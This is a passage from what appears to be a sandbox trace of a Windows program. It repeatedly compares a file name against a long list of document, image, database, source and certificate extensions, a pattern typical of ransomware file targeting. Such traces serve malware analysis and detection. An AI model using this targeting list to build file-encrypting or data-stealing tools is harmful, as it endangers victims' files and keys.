ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.837] lstrlenW (lpString="eula.rtf") returned 8 [0061.837] lstrlenW (lpString=".1cd") returned 4 [0061.838] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".3ds") returned 4 [0061.838] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".3fr") returned 4 [0061.838] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".3g2") returned 4 [0061.838] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".3gp") returned 4 [0061.838] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".7z") returned 3 [0061.838] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.838] lstrlenW (lpString=".accda") returned 6 [0061.838] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.838] lstrlenW (lpString=".accdb") returned 6 [0061.838] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.838] lstrlenW (lpString=".accdc") returned 6 [0061.838] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.838] lstrlenW (lpString=".accde") returned 6 [0061.838] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.838] lstrlenW (lpString=".accdt") returned 6 [0061.838] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.838] lstrlenW (lpString=".accdw") returned 6 [0061.838] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.838] lstrlenW (lpString=".adb") returned 4 [0061.838] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".adp") returned 4 [0061.838] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".ai") returned 3 [0061.838] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.838] lstrlenW (lpString=".ai3") returned 4 [0061.838] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".ai4") returned 4 [0061.838] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".ai5") returned 4 [0061.838] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.838] lstrlenW (lpString=".ai6") returned 4 [0061.838] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".ai7") returned 4 [0061.839] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".ai8") returned 4 [0061.839] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".anim") returned 5 [0061.839] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.839] lstrlenW (lpString=".arw") returned 4 [0061.839] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".as") returned 3 [0061.839] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.839] lstrlenW (lpString=".asa") returned 4 [0061.839] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".asc") returned 4 [0061.839] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".ascx") returned 5 [0061.839] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.839] lstrlenW (lpString=".asm") returned 4 [0061.839] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".asmx") returned 5 [0061.839] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.839] lstrlenW (lpString=".asp") returned 4 [0061.839] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".aspx") returned 5 [0061.839] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.839] lstrlenW (lpString=".asr") returned 4 [0061.839] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".asx") returned 4 [0061.839] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".avi") returned 4 [0061.839] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".avs") returned 4 [0061.839] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".backup") returned 7 [0061.839] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.839] lstrlenW (lpString=".bak") returned 4 [0061.839] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.839] lstrlenW (lpString=".bay") returned 4 [0061.840] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".bd") returned 3 [0061.840] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.840] lstrlenW (lpString=".bin") returned 4 [0061.840] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".bmp") returned 4 [0061.840] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".bz2") returned 4 [0061.840] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".c") returned 2 [0061.840] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.840] lstrlenW (lpString=".cdr") returned 4 [0061.840] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".cer") returned 4 [0061.840] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".cf") returned 3 [0061.840] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.840] lstrlenW (lpString=".cfc") returned 4 [0061.840] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".cfm") returned 4 [0061.840] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".cfml") returned 5 [0061.840] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.840] lstrlenW (lpString=".cfu") returned 4 [0061.840] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".chm") returned 4 [0061.840] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".cin") returned 4 [0061.840] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".class") returned 6 [0061.840] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.840] lstrlenW (lpString=".clx") returned 4 [0061.840] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".config") returned 7 [0061.840] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0061.840] lstrlenW (lpString=".cpp") returned 4 [0061.840] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.840] lstrlenW (lpString=".cr2") returned 4 [0061.841] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".crt") returned 4 [0061.841] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".crw") returned 4 [0061.841] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".cs") returned 3 [0061.841] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.841] lstrlenW (lpString=".css") returned 4 [0061.841] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".csv") returned 4 [0061.841] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".cub") returned 4 [0061.841] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dae") returned 4 [0061.841] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dat") returned 4 [0061.841] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".db") returned 3 [0061.841] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.841] lstrlenW (lpString=".dbf") returned 4 [0061.841] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dbx") returned 4 [0061.841] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dc3") returned 4 [0061.841] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dcm") returned 4 [0061.841] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dcr") returned 4 [0061.841] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".der") returned 4 [0061.841] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dib") returned 4 [0061.841] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dic") returned 4 [0061.841] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.841] lstrlenW (lpString=".dif") returned 4 [0061.842] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".divx") returned 5 [0061.842] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.842] lstrlenW (lpString=".djvu") returned 5 [0061.842] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.842] lstrlenW (lpString=".dng") returned 4 [0061.842] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".doc") returned 4 [0061.842] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".docm") returned 5 [0061.842] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.842] lstrlenW (lpString=".docx") returned 5 [0061.842] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.842] lstrlenW (lpString=".dot") returned 4 [0061.842] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".dotm") returned 5 [0061.842] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.842] lstrlenW (lpString=".dotx") returned 5 [0061.842] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.842] lstrlenW (lpString=".dpx") returned 4 [0061.842] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".dqy") returned 4 [0061.842] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".dsn") returned 4 [0061.842] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".dt") returned 3 [0061.842] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.842] lstrlenW (lpString=".dtd") returned 4 [0061.842] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".dwg") returned 4 [0061.842] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".dwt") returned 4 [0061.842] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".dx") returned 3 [0061.842] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.842] lstrlenW (lpString=".dxf") returned 4 [0061.842] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.842] lstrlenW (lpString=".edml") returned 5 [0061.843] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.843] lstrlenW (lpString=".efd") returned 4 [0061.843] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".elf") returned 4 [0061.843] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".emf") returned 4 [0061.843] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".emz") returned 4 [0061.843] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".epf") returned 4 [0061.843] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".eps") returned 4 [0061.843] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".epsf") returned 5 [0061.843] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.843] lstrlenW (lpString=".epsp") returned 5 [0061.843] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.843] lstrlenW (lpString=".erf") returned 4 [0061.843] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".exr") returned 4 [0061.843] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".f4v") returned 4 [0061.843] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".fido") returned 5 [0061.843] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.843] lstrlenW (lpString=".flm") returned 4 [0061.843] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".flv") returned 4 [0061.843] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".frm") returned 4 [0061.843] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".fxg") returned 4 [0061.843] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".geo") returned 4 [0061.843] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.843] lstrlenW (lpString=".gif") returned 4 [0061.843] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".grs") returned 4 [0061.844] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".gz") returned 3 [0061.844] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.844] lstrlenW (lpString=".h") returned 2 [0061.844] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.844] lstrlenW (lpString=".hdr") returned 4 [0061.844] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".hpp") returned 4 [0061.844] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".hta") returned 4 [0061.844] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".htc") returned 4 [0061.844] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".htm") returned 4 [0061.844] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".html") returned 5 [0061.844] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.844] lstrlenW (lpString=".icb") returned 4 [0061.844] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".ics") returned 4 [0061.844] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".iff") returned 4 [0061.844] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".inc") returned 4 [0061.844] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".indd") returned 5 [0061.844] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.844] lstrlenW (lpString=".ini") returned 4 [0061.844] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".iqy") returned 4 [0061.844] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".j2c") returned 4 [0061.844] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.844] lstrlenW (lpString=".j2k") returned 4 [0061.844] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".java") returned 5 [0061.845] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.845] lstrlenW (lpString=".jp2") returned 4 [0061.845] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".jpc") returned 4 [0061.845] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".jpe") returned 4 [0061.845] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".jpeg") returned 5 [0061.845] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.845] lstrlenW (lpString=".jpf") returned 4 [0061.845] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".jpg") returned 4 [0061.845] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".jpx") returned 4 [0061.845] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".js") returned 3 [0061.845] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.845] lstrlenW (lpString=".jsf") returned 4 [0061.845] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".json") returned 5 [0061.845] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.845] lstrlenW (lpString=".jsp") returned 4 [0061.845] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".kdc") returned 4 [0061.845] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".kmz") returned 4 [0061.845] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".kwm") returned 4 [0061.845] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".lasso") returned 6 [0061.845] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.845] lstrlenW (lpString=".lbi") returned 4 [0061.845] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.845] lstrlenW (lpString=".lgf") returned 4 [0061.845] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".lgp") returned 4 [0061.846] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".log") returned 4 [0061.846] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".m1v") returned 4 [0061.846] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".m4a") returned 4 [0061.846] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".m4v") returned 4 [0061.846] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".max") returned 4 [0061.846] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".md") returned 3 [0061.846] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.846] lstrlenW (lpString=".mda") returned 4 [0061.846] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mdb") returned 4 [0061.846] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mde") returned 4 [0061.846] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mdf") returned 4 [0061.846] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mdw") returned 4 [0061.846] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mef") returned 4 [0061.846] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mft") returned 4 [0061.846] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mfw") returned 4 [0061.846] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mht") returned 4 [0061.846] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mhtml") returned 6 [0061.846] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.846] lstrlenW (lpString=".mka") returned 4 [0061.846] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.846] lstrlenW (lpString=".mkidx") returned 6 [0061.847] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.847] lstrlenW (lpString=".mkv") returned 4 [0061.847] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mos") returned 4 [0061.847] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mov") returned 4 [0061.847] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mp3") returned 4 [0061.847] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mp4") returned 4 [0061.847] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mpeg") returned 5 [0061.847] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.847] lstrlenW (lpString=".mpg") returned 4 [0061.847] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mpv") returned 4 [0061.847] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mrw") returned 4 [0061.847] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".msg") returned 4 [0061.847] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".mxl") returned 4 [0061.847] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".myd") returned 4 [0061.847] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".myi") returned 4 [0061.847] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".nef") returned 4 [0061.847] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".nrw") returned 4 [0061.847] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".obj") returned 4 [0061.847] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".odb") returned 4 [0061.847] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.847] lstrlenW (lpString=".odc") returned 4 [0061.848] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".odm") returned 4 [0061.848] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".odp") returned 4 [0061.848] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".ods") returned 4 [0061.848] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".oft") returned 4 [0061.848] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".one") returned 4 [0061.848] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".onepkg") returned 7 [0061.848] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.848] lstrlenW (lpString=".onetoc2") returned 8 [0061.848] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.848] lstrlenW (lpString=".opt") returned 4 [0061.848] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".oqy") returned 4 [0061.848] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".orf") returned 4 [0061.848] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".p12") returned 4 [0061.848] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".p7b") returned 4 [0061.848] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".p7c") returned 4 [0061.848] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".pam") returned 4 [0061.848] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".pbm") returned 4 [0061.848] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".pct") returned 4 [0061.848] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".pcx") returned 4 [0061.848] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.848] lstrlenW (lpString=".pdd") returned 4 [0061.848] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pdf") returned 4 [0061.849] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pdp") returned 4 [0061.849] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pef") returned 4 [0061.849] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pem") returned 4 [0061.849] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pff") returned 4 [0061.849] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pfm") returned 4 [0061.849] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pfx") returned 4 [0061.849] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pgm") returned 4 [0061.849] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".php") returned 4 [0061.849] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".php3") returned 5 [0061.849] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.849] lstrlenW (lpString=".php4") returned 5 [0061.849] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.849] lstrlenW (lpString=".php5") returned 5 [0061.849] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0061.849] lstrlenW (lpString=".phtml") returned 6 [0061.849] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.849] lstrlenW (lpString=".pict") returned 5 [0061.849] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.849] lstrlenW (lpString=".pl") returned 3 [0061.849] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.849] lstrlenW (lpString=".pls") returned 4 [0061.849] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.849] lstrlenW (lpString=".pm") returned 3 [0061.849] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.849] lstrlenW (lpString=".png") returned 4 [0061.849] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".pnm") returned 4 [0061.850] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".pot") returned 4 [0061.850] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".potm") returned 5 [0061.850] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.850] lstrlenW (lpString=".potx") returned 5 [0061.850] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.850] lstrlenW (lpString=".ppa") returned 4 